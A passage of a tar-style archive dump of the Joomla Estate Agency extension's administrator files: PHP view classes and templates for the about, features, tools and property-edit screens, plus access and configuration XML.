JHtml::stylesheet('media/com_jea/css/jea.admin.css');
?>

<div id="j-sidebar-container" class="span2">
	<?php echo $this->sidebar?>
</div>

<div id="j-main-container" class="span10">
	<?php echo JLayoutHelper::render('jea.gateways.nav',
array('action' => 'export', 'view' =>
'console')) ?>
	<?php echo JLayoutHelper::render('jea.gateways.consoles',
array('action' => 'export')) ?>
</div>views/gateways/view.html.php000064400000004245151165726460012175
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Gateways View
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaViewGateways extends JViewLegacy
{
	/**
	 * The user object
	 *
	 * @var JUser
	 */
	protected $user;

	/**
	 * Array of database records
	 *
	 * @var Jobject[]
	 */
	protected $items;

	/**
	 * The pagination object
	 *
	 * @var JPagination
	 */
	protected $pagination;

	/**
	 * The model state
	 *
	 * @var Jobject
	 */
	protected $state;

	/**
	 * The sidebar output
	 *
	 * @var string
	 */
	protected $sidebar = '';

	/**
	 * Overrides parent method.
	 *
	 * @param   string  $tpl  The name of the template file to parse.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::display()
	 */
	public function display($tpl = null)
	{
		JeaHelper::addSubmenu('tools');

		$this->state = $this->get('State');

		$this->sidebar = JHtmlSidebar::render();

		$title = JText::_('COM_JEA_GATEWAYS');

		switch ($this->_layout)
		{
			case 'export':
				$title = JText::_('COM_JEA_EXPORT');
				JToolBarHelper::back('JTOOLBAR_BACK',
'index.php?option=com_jea&view=tools');
				break;
			case 'import':
				$title = JText::_('COM_JEA_IMPORT');
				JToolBarHelper::back('JTOOLBAR_BACK',
'index.php?option=com_jea&view=tools');
				break;
			default:
				$this->user = JFactory::getUser();
				$this->items = $this->get('Items');
				$this->pagination = $this->get('Pagination');
				JToolBarHelper::addNew('gateway.add');
				JToolBarHelper::editList('gateway.edit');
				JToolBarHelper::publish('gateways.publish',
'JTOOLBAR_PUBLISH', true);
				JToolBarHelper::unpublish('gateways.unpublish',
'JTOOLBAR_UNPUBLISH', true);
				JToolBarHelper::deleteList(JText::_('COM_JEA_MESSAGE_CONFIRM_DELETE'),
'gateways.delete');
		}

		JToolBarHelper::title($title, 'jea');

		parent::display($tpl);
	}
}
views/about/tmpl/default.php000064400000004260151165726500012136
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * @var $this JeaViewAbout
 */

JHtml::stylesheet('media/com_jea/css/jea.admin.css');
?>

<?php if (!empty($this->sidebar)) : ?>
<div id="j-sidebar-container" class="span2">
	<?php echo $this->sidebar; ?>
</div>
<?php endif ?>

<div id="j-main-container" class="span10">
	<?php echo JHtml::_('bootstrap.startTabSet',
'aboutTab', array('active' => 'pan1'))
?>

	<?php echo JHtml::_('bootstrap.addTab', 'aboutTab',
'pan1', JText::_('COM_JEA_ABOUT')) ?>
	<div class="row-fluid">
		<div class="span2">
			<img src="../media/com_jea/images/logo.png"
alt="logo.png" />
		</div>
		<div class="span10">
			<p>
				<strong>Joomla Estate Agency <?php echo $this->getVersion()
?> </strong>
			</p>
			<p>
				<a href="http://jea.sphilip.com/"
target="_blank"><?php echo
JText::_('COM_JEA_PROJECT_HOME') ?></a>
			</p>
			<p>
				<a href="http://jea.sphilip.com/forum/"
target="_blank"><?php echo
JText::_('COM_JEA_FORUM') ?></a>
			</p>
			<p>
				<a
href="https://github.com/JoomlaEstateAgency/com_jea/wiki/"
target="_blank"><?php echo
JText::_('COM_JEA_DOCUMENTATION') ?></a>
			</p>
			<p>
				<?php echo JText::_('COM_JEA_MAIN_DEVELOPER') ?> :
<a href="http://www.sphilip.com"
target="_blank">Sylvain Philip</a><br />
				<?php echo JText::_('COM_JEA_CREDITS') ?> : <a
href="https://twitter.com/#!/phproberto"
target="_blank">Roberto Segura</a>
			</p>
		</div>
	</div>
	<?php echo JHtml::_('bootstrap.endTab') ?>

	<?php echo JHtml::_('bootstrap.addTab', 'aboutTab',
'pan2', JText::_('COM_JEA_LICENCE')) ?>
	<pre>
	<?php require JPATH_COMPONENT . '/LICENCE.txt' ?>
	</pre>
	<?php echo JHtml::_('bootstrap.endTab') ?>

	<?php echo JHtml::_('bootstrap.addTab', 'aboutTab',
'pan3', JText::_('COM_JEA_VERSIONS')) ?>
	<pre>
	<?php require JPATH_COMPONENT . '/NEWS.txt' ?>
	</pre>
	<?php echo JHtml::_('bootstrap.endTab') ?>

	<?php echo JHtml::_('bootstrap.endTabSet') ?>
</div>
views/about/view.html.php000064400000002556151165726500011461
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * JEA about view.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaViewAbout extends JViewLegacy
{
	/**
	 * The sidebar output
	 *
	 * @var string
	 */
	protected $sidebar = '';

	/**
	 * Overrides parent method.
	 *
	 * @param   string  $tpl  The name of the template file to parse.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::display()
	 */
	public function display($tpl = null)
	{
		JeaHelper::addSubmenu('about');
		JToolbarHelper::title('Joomla Estate Agency', 'jea');

		$canDo = JeaHelper::getActions();

		if ($canDo->get('core.admin'))
		{
			JToolBarHelper::preferences('com_jea');
		}

		$this->sidebar = JHtmlSidebar::render();

		parent::display($tpl);
	}

	/**
	 * Get version of JEA
	 *
	 * @return string
	 */
	protected function getVersion()
	{
		if (is_file(JPATH_COMPONENT . '/jea.xml'))
		{
			$xml = simplexml_load_file(JPATH_COMPONENT . '/jea.xml');

			return $xml->version;
		}

		return '';
	}
}
views/features/tmpl/default.php000064400000003645151165726500012650
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * @var $this JeaViewFeatures
 */

JHtml::stylesheet('media/com_jea/css/jea.admin.css');
JHtml::_('behavior.multiselect');
$count = 0;
?>

<form action="<?php echo
JRoute::_('index.php?option=com_jea&view=properties')
?>" method="post" name="adminForm"
	id="adminForm" enctype="multipart/form-data">

	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>

	<div id="j-main-container" class="span10">
		<table class="table table-striped">
			<thead>
				<tr>
					<th width="1%" class="center">
						<?php echo JHtml::_('grid.checkall') ?>
					</th>
					<th width="60%">
						<?php echo
JText::_('COM_JEA_HEADING_FEATURES_LIST_NAME') ?>
					</th>
					<th width="39%" class="center">
						<?php echo
JText::_('COM_JEA_HEADING_FEATURES_IMPORT_CSV') ?>
					</th>
				</tr>
			</thead>

			<tbody>
			<?php foreach ($this->items as $i => $item) : $count++ ?>
				<tr class="row<?php echo $count % 2 ?>">
					<td>
						<?php echo JHtml::_('grid.id', $i, $item->name) ?>
					</td>

					<td>
						<a href="<?php echo
JRoute::_('index.php?option=com_jea&view=featurelist&feature='.$item->name)
?>">
						<?php echo
JText::_(JString::strtoupper("com_jea_list_of_{$item->name}_title"))
?>
						</a>
					</td>

					<td class="center">
						<input type="file" name="csv[<?php echo
$item->name ?>]" value="" size="20" />
					</td>
				</tr>
			<?php endforeach ?>
			</tbody>
		</table>

		<div>
			<input type="hidden" name="task"
value="" />
			<input type="hidden" name="boxchecked"
value="0" />
			<?php echo JHtml::_('form.token') ?>
		</div>
	</div>
</form>
views/features/view.html.php000064400000003361151165726500012160
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View to manage all features tables.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaViewFeatures extends JViewLegacy
{
	/**
	 * Array of managed features
	 *
	 * @var stdClass[]
	 */
	protected $items;

	/**
	 * The model state
	 *
	 * @var Jobject
	 */
	protected $state;

	/**
	 * The sidebar output
	 *
	 * @var string
	 */
	protected $sidebar = '';

	/**
	 * Overrides parent method.
	 *
	 * @param   string  $tpl  The name of the template file to parse.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::display()
	 */
	public function display($tpl = null)
	{
		$this->items = $this->get('Items');
		$this->state = $this->get('State');

		JeaHelper::addSubmenu('features');

		$this->addToolbar();

		$this->sidebar = JHtmlSidebar::render();

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return void
	 */
	protected function addToolbar()
	{
		$canDo = JeaHelper::getActions();

		JToolBarHelper::title(JText::_('COM_JEA_FEATURES_MANAGEMENT'),
'jea');

		if ($canDo->get('core.manage'))
		{
			JToolBarHelper::custom('features.import',
'database', '', 'Import', false);
		}

		JToolBarHelper::custom('features.export', 'download',
'', 'Export', false);

		if ($canDo->get('core.admin'))
		{
			JToolBarHelper::divider();
			JToolBarHelper::preferences('com_jea');
		}
	}
}
views/feature/tmpl/edit.php000064400000002213151165726500011754
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * @var $this JeaViewFeature
 */
$app = JFactory::getApplication();
JHtml::_('formbehavior.chosen', 'select');
JHtml::stylesheet('media/com_jea/css/jea.admin.css');
?>
<form action="<?php echo
JRoute::_('index.php?option=com_jea&layout=edit&id='.(int)
$this->item->id) ?>"
	method="post" name="adminForm"
id="adminForm" class="form-validate">

	<div class="form-horizontal">
	<?php foreach ($this->form->getFieldset('feature') as
$field): ?>
		<?php echo $field->renderField() ?>
	<?php endforeach ?>
	</div>

	<div>
		<input type="hidden" name="task"
value="" />
		<input type="hidden" name="feature"
value="<?php echo
$this->state->get('feature.name')?>" />
		<input type="hidden" name="return"
value="<?php echo $app->input->getCmd('return')
?>" />
		<?php echo JHtml::_('form.token') ?>
	</div>
</form>
views/feature/view.html.php000064400000003427151165726500012000
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View to edit a feature.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaViewFeature extends JViewLegacy
{
	/**
	 * The form object
	 *
	 * @var JForm
	 */
	protected $form;

	/**
	 * The database record
	 *
	 * @var JObject|boolean
	 */
	protected $item;

	/**
	 * The model state
	 *
	 * @var JObject
	 */
	protected $state;

	/**
	 * Overrides parent method.
	 *
	 * @param   string  $tpl  The name of the template file to parse.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::display()
	 */
	public function display($tpl = null)
	{
		$this->form = $this->get('Form');
		$this->item = $this->get('Item');
		$this->state = $this->get('State');

		$this->addToolbar();

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return void
	 */
	protected function addToolbar()
	{
		JFactory::getApplication()->input->set('hidemainmenu',
true);
		$canDo = JeaHelper::getActions();

		$title = $this->item->id ? JText::_('JACTION_EDIT') .
' ' . $this->escape($this->item->value) :
JText::_('JACTION_CREATE');
		JToolBarHelper::title($title, 'jea');

		// For new records, check the create permission.
		if ($canDo->get('core.create'))
		{
			JToolBarHelper::apply('feature.apply');
			JToolBarHelper::save('feature.save');
			JToolBarHelper::save2new('feature.save2new');
		}

		JToolBarHelper::cancel('feature.cancel');
	}
}
views/featurelist/tmpl/default.php000064400000011344151165726500013354
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * @var $this JeaViewFeaturelist
 */

JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$listOrder =
$this->escape($this->state->get('list.ordering'));
$listDirection =
$this->escape($this->state->get('list.direction'));
$saveOrder = $listOrder == 'f.ordering';

if ($saveOrder)
{
	$saveOrderingUrl =
'index.php?option=com_jea&task=featurelist.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'featureList',
'adminForm', strtolower($listDirection), $saveOrderingUrl);
}

JHtml::stylesheet('media/com_jea/css/jea.admin.css');
?>

<form action="<?php echo
JRoute::_('index.php?option=com_jea&view=featurelist')
?>" method="post" name="adminForm"
id="adminForm">

	<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar ?>
	</div>
	<?php endif ?>

	<div id="j-main-container" class="span10">
		<?php echo
JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this)) ?>

		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
		<table class="table table-striped"
id="featureList">
			<thead>
				<tr>
					<th width="1%" class="nowrap center
hidden-phone">
						<?php echo JHtml::_('searchtools.sort', '',
'f.ordering', $listDirection, $listOrder, null, 'asc',
'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?>
					</th>
					<th width="1%">
						<?php echo JHtml::_('grid.checkall'); ?>
					</th>
					<th width="88%">
						<?php echo JHTML::_('searchtools.sort',
'COM_JEA_FIELD_'.$this->state->get('feature.name').'_LABEL',
'f.value', $listDirection , $listOrder ) ?>
					</th>
					<?php if ($this->state->get('language_enabled')):
?>
					<th width="5%" class="nowrap">
						<?php echo JHtml::_('searchtools.sort',
'JGRID_HEADING_LANGUAGE', 'l.title', $listDirection,
$listOrder); ?>
					</th>
					<?php endif ?>
					<th width="5%" class="nowrap">
						<?php echo JHTML::_('searchtools.sort',
'JGRID_HEADING_ID', 'f.id', $listDirection , $listOrder
) ?>
					</th>
				</tr>
			</thead>

			<tfoot>
				<tr>
					<td colspan="<?php echo
$this->state->get('language_enabled') ?  5: 4
?>"></td>
				</tr>
			</tfoot>

			<tbody>
			<?php foreach ($this->items as $i => $item) : ?>
			<?php
			$canEdit  = $this->user->authorise('core.edit');
			$canChange  = $this->user->authorise('core.edit.state');
			?>
				<tr class="row<?php echo $i % 2 ?>">
					<td class="order nowrap center hidden-phone">
						<?php
						$iconClass = '';
						if (!$canChange)
						{
							$iconClass = ' inactive';
						}
						elseif (!$saveOrder)
						{
							$iconClass = ' inactive tip-top hasTooltip"
title="' . JHtml::_('tooltipText',
'JORDERINGDISABLED');
						}
						?>
						<span class="sortable-handler<?php echo $iconClass
?>">
							<span class="icon-menu"
aria-hidden="true"></span>
						</span>
						<?php if ($canChange && $saveOrder) : ?>
							<input type="text" style="display:none"
name="order[]" size="5" value="<?php echo
$item->ordering ?>" class="width-20 text-area-order"
/>
						<?php endif ?>
					</td>
					<td class="center">
						<?php echo JHtml::_('grid.id', $i, $item->id) ?>
					</td>
					<td>
					<?php if ($canEdit) : ?>
						<a href="<?php echo
JRoute::_('index.php?option=com_jea&task=feature.edit&id='.(int)
$item->id . '&feature='.
$this->state->get('feature.name')); ?>">
						<?php echo $this->escape($item->value) ?>
						</a>
					<?php else : ?>
						<?php echo $this->escape($item->value) ?>
					<?php endif ?>
					</td>
					<?php if ($this->state->get('language_enabled')):
?>
					<td>
						<?php if ($item->language == '*'): ?>
							<?php echo JText::alt('JALL', 'language')
?>
						<?php else: ?>
							<?php echo $item->language_title ?
$this->escape($item->language_title) :
JText::_('JUNDEFINED') ?>
						<?php endif ?>
					</td>
					<?php endif ?>
					<td class="center"><?php echo $item->id
?></td>
				</tr>
			<?php endforeach ?>
			</tbody>
		</table>
		<?php echo $this->pagination->getListFooter() ?>
		<?php endif ?>
	</div>

	<div>
		<input type="hidden" name="task"
value="" />
		<input type="hidden" name="boxchecked"
value="0" />
		<input type="hidden" name="feature"
value="<?php echo
$this->state->get('feature.name')?>" />
		<?php echo JHtml::_('form.token') ?>
	</div>
</form>
views/featurelist/view.html.php000064400000004575151165726500012701
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

/**
 * View to manage a feature list.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaViewFeaturelist extends JViewLegacy
{
	/**
	 * The user object
	 *
	 * @var JUser
	 */
	protected $user;

	/**
	 * Array of database records
	 *
	 * @var Jobject[]
	 */
	protected $items;

	/**
	 * The pagination object
	 *
	 * @var JPagination
	 */
	protected $pagination;

	/**
	 * The model state
	 *
	 * @var Jobject
	 */
	protected $state;

	/**
	 * The sidebar output
	 *
	 * @var string
	 */
	protected $sidebar = '';

	/**
	 * The form object for search filters
	 *
	 * @var JForm
	 */
	public $filterForm;

	/**
	 * The active search filters
	 *
	 * @var  array
	 */
	public $activeFilters;

	/**
	 * Overrides parent method.
	 *
	 * @param   string  $tpl  The name of the template file to parse.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::display()
	 */
	public function display($tpl = null)
	{
		JeaHelper::addSubmenu('features');

		$this->user = JFactory::getUser();
		$this->items = $this->get('Items');
		$this->pagination = $this->get('Pagination');
		$this->state = $this->get('State');
		$this->sidebar = JHtmlSidebar::render();
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		$this->addToolbar();

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return void
	 */
	protected function addToolbar()
	{
		$canDo = JeaHelper::getActions();
		$feature = $this->state->get('feature.name');

		JToolBarHelper::title(JText::_(StringHelper::strtoupper("com_jea_list_of_{$feature}_title")),
'jea');

		if ($canDo->get('core.create'))
		{
			JToolBarHelper::addNew('feature.add');
		}

		if ($canDo->get('core.edit'))
		{
			JToolBarHelper::editList('feature.edit');
		}

		if ($canDo->get('core.delete'))
		{
			JToolBarHelper::divider();
			JToolBarHelper::deleteList(JText::_('COM_JEA_MESSAGE_CONFIRM_DELETE'),
'featurelist.delete');
		}
	}
}
views/tools/tmpl/default.php000064400000001175151165726500012166
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::stylesheet('media/com_jea/css/jea.admin.css');

/**
 * @var $this JeaViewTools
 */
?>

<div id="j-sidebar-container" class="span2">
	<?php echo $this->sidebar ?>
</div>

<div id="j-main-container" class="span10">
	<div class="cpanel"><?php echo
$this->getIcons()?></div>
</div>
views/tools/view.html.php000064400000003102151165726500011473
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * JEA tools view.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaViewTools extends JViewLegacy
{
	/**
	 * The sidebar output
	 *
	 * @var string
	 */
	protected $sidebar = '';

	/**
	 * Overrides parent method.
	 *
	 * @param   string  $tpl  The name of the template file to parse.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::display()
	 */
	public function display($tpl = null)
	{
		JeaHelper::addSubmenu('tools');
		JToolBarHelper::title(JText::_('COM_JEA_TOOLS'),
'jea');

		$canDo = JeaHelper::getActions();

		if ($canDo->get('core.admin'))
		{
			JToolBarHelper::preferences('com_jea');
		}

		$this->sidebar = JHtmlSidebar::render();

		parent::display($tpl);
	}

	/**
	 * Return tools icons.
	 *
	 * @return  array  An array of icons
	 */
	protected function getIcons()
	{
		$buttons = JeaHelper::getToolsIcons();

		foreach ($buttons as $button)
		{
			if (! empty($button['name']))
			{
				$styleSheet = 'media/com_jea/' . $button['name'] .
'/styles.css';

				if (file_exists(JPATH_ROOT . '/' . $styleSheet))
				{
					JHtml::stylesheet($styleSheet);
				}
			}
		}

		return JHtml::_('icons.buttons', $buttons);
	}
}
views/property/tmpl/edit.php000064400000011047151165726500012212
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * @var $this JeaViewProperty
 */

$dispatcher = JDispatcher::getInstance();
JPluginHelper::importPlugin( 'jea' );

JHtml::_('behavior.framework');
JHtml::stylesheet('media/com_jea/css/jea.admin.css');
JHtml::script('media/com_jea/js/property.form.js');

JHtml::_('behavior.keepalive');
JHtml::_('behavior.tabstate');
JHtml::_('formbehavior.chosen', 'select');
?>
<div id="ajaxupdating">
	<h3><?php echo
JText::_('COM_JEA_FEATURES_UPDATED_WARNING')?></h3>
</div>

<form action="<?php echo
JRoute::_('index.php?option=com_jea&layout=edit&id='.(int)
$this->item->id) ?>" method="post"
id="adminForm"
	class="form-validate"
enctype="multipart/form-data">

	<div class="form-inline form-inline-header">
		<?php echo $this->form->renderField('title') ?>
		<?php echo $this->form->renderField('ref') ?>
		<?php echo $this->form->renderField('alias') ?>
	</div>

	<div class="form-horizontal">

		<?php echo JHtml::_('bootstrap.startTabSet',
'propertyTab', array('active' =>
'general')) ?>

		<?php echo JHtml::_('bootstrap.addTab',
'propertyTab', 'general',
JText::_('COM_JEA_CONFIG_GENERAL')) ?>
		<div class="row-fluid">
			<div class="span8">
				<fieldset class="adminform">
					<?php echo
$this->form->renderField('transaction_type') ?>
					<?php echo $this->form->renderField('type_id')
?>
					<?php echo $this->form->renderField('description')
?>
				</fieldset>
			</div>
			<div class="span4">
				<fieldset class="form-vertical">
					<?php echo $this->form->renderField('published')
?>
					<?php echo $this->form->renderField('featured')
?>
					<?php echo $this->form->renderField('access') ?>
					<?php echo $this->form->renderField('language')
?>
					<?php echo $this->form->renderField('slogan_id')
?>
				</fieldset>

				<?php echo JHtml::_('sliders.start',
'property-sliders', array('useCookie'=>1)) ?>
				<?php $dispatcher->trigger('onAfterStartPanels',
array(&$this->item)) ?>

				<?php echo JHtml::_('sliders.panel',
JText::_('COM_JEA_PICTURES'), 'picture-pane') ?>
				<fieldset>
					<?php echo $this->form->getInput('images') ?>
				</fieldset>

				<?php echo JHtml::_('sliders.panel',
JText::_('COM_JEA_NOTES'), 'note-pane') ?>
				<fieldset class="form-vertical panelform">
					<?php echo $this->form->renderField('notes') ?>

				</fieldset>
				<?php $dispatcher->trigger('onBeforeEndPanels',
array(&$this->item)) ?>
				<?php echo JHtml::_('sliders.end') ?>
			</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab') ?>

		<?php echo JHtml::_('bootstrap.addTab',
'propertyTab', 'details',
JText::_('COM_JEA_DETAILS')) ?>
			<div class="row-fluid">
				<div class="span4">
					<fieldset>
						<legend><?php echo
JText::_('COM_JEA_FINANCIAL_INFORMATIONS')?></legend>
						<?php foreach
($this->form->getFieldset('financial_informations') as
$field) echo $field->renderField() ?>
					</fieldset>
					<fieldset class="advantages">
						<legend><?php echo
JText::_('COM_JEA_AMENITIES')?></legend>
						<?php echo $this->form->getInput('amenities')
?>
					</fieldset>
				</div>

				<div class="span4">
					<fieldset>
						<legend><?php echo
JText::_('COM_JEA_LOCALIZATION')?></legend>
						<?php foreach
($this->form->getFieldset('localization') as $field) echo
$field->renderField() ?>
					</fieldset>
				</div>

				<div class="span4">
					<fieldset>
						<?php foreach ($this->form->getFieldset('details')
as $field) echo $field->renderField() ?>
					</fieldset>
				</div>
			</div>
		<?php echo JHtml::_('bootstrap.endTab') ?>

		<?php echo JHtml::_('bootstrap.addTab',
'propertyTab', 'publication',
JText::_('COM_JEA_PUBLICATION_INFO')) ?>
			<?php foreach
($this->form->getFieldset('publication') as $field) echo
$field->renderField() ?>
		<?php echo JHtml::_('bootstrap.endTab') ?>

		<?php if ($this->canDo->get('core.admin')): ?>
		<?php echo JHtml::_('bootstrap.addTab',
'propertyTab', 'permissions',
JText::_('COM_JEA_FIELDSET_RULES')) ?>
			<?php echo $this->form->getInput('rules') ?>
		<?php echo JHtml::_('bootstrap.endTab') ?>
		<?php endif ?>

		<?php echo JHtml::_('bootstrap.endTabSet'); ?>

	</div>

	<div>
		<input type="hidden" name="task"
value="" />
		<input type="hidden" name="return"
value="<?php echo
JFactory::getApplication()->input->getCmd('return')
?>" />
		<?php echo JHtml::_('form.token') ?>
	</div>
</form>
access.xml000064400000002172151165726500006541 0ustar00<?xml
version="1.0" encoding="utf-8"?>
<access component="com_jea">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN"
description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE"
description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="core.create" title="JACTION_CREATE"
description="JACTION_CREATE_COMPONENT_DESC" />
		<action name="core.delete" title="JACTION_DELETE"
description="JACTION_DELETE_COMPONENT_DESC" />
		<action name="core.edit" title="JACTION_EDIT"
description="JACTION_EDIT_COMPONENT_DESC" />
		<action name="core.edit.state"
title="JACTION_EDITSTATE"
description="JACTION_EDITSTATE_COMPONENT_DESC" />
		<action name="core.edit.own"
title="JACTION_EDITOWN"
description="JACTION_EDITOWN_COMPONENT_DESC" />
	</section>
	<section name="property">
		<action name="core.delete" title="JACTION_DELETE"
description="COM_JEA_ACCESS_DELETE_DESC" />
		<action name="core.edit" title="JACTION_EDIT"
description="COM_JEA_ACCESS_EDIT_DESC" />
		<action name="core.edit.state"
title="JACTION_EDITSTATE"
description="COM_JEA_ACCESS_EDITSTATE_DESC" />
	</section>
</access>config.xml000064400000022727151165726500006555
0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset name="general"
label="COM_JEA_CONFIG_GENERAL">
		<field
			name="surface_measure"
			type="list"
			default=""
			label="COM_JEA_FIELD_SURFACE_UNIT_LABEL"
			description="COM_JEA_FIELD_SURFACE_UNIT_DESC"
		>
			<option value="m²">m²</option>
			<option value="Sq. Ft.">Sq. Ft.</option>
		</field>

		<field
			name="currency_symbol"
			type="text"
			size="5"
			default="€"
			label="COM_JEA_FIELD_CURRENCY_SYMBOL_LABEL"
			description=""
		/>

		<field
			name="symbol_position"
			type="list"
			default="1"
			label="COM_JEA_FIELD_SYMBOL_POSITION_LABEL"
			description="COM_JEA_FIELD_SYMBOL_POSITION_DESC"
		>
			<option
value="0">COM_JEA_OPTION_BEFORE_PRICE</option>
			<option
value="1">COM_JEA_OPTION_AFTER_PRICE</option>
		</field>

		<field
			name="thousands_separator"
			type="text"
			size="1"
			default=" "
			label="COM_JEA_FIELD_THOUSANDS_SEPARATOR_LABEL"
			description="COM_JEA_FIELD_THOUSANDS_SEPARATOR_DESC"
		/>

		<field
			name="decimals_separator"
			type="text"
			size="1"
			default=","
			label="COM_JEA_FIELD_DECIMALS_SEPARATOR_LABEL"
			description="COM_JEA_FIELD_DECIMALS_SEPARATOR_DESC"
		/>

		<field
			name="decimals_number"
			type="text"
			size="1"
			default="0"
			label="COM_JEA_FIELD_DECIMALS_NUMBER_LABEL"
			description="COM_JEA_FIELD_DECIMALS_NUMBER_DESC"
		/>

		<field
			name="relationship_dpts_towns_area"
			type="radio"
			default="1"
			label="COM_JEA_FIELD_LOCALIZATION_FEATURES_RELATIONSHIP_LABEL"
			description="COM_JEA_FIELD_LOCALIZATION_FEATURES_RELATIONSHIP_DESC"
			class="btn-group btn-group-yesno"
		>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
	</fieldset>

	<fieldset name="lists"
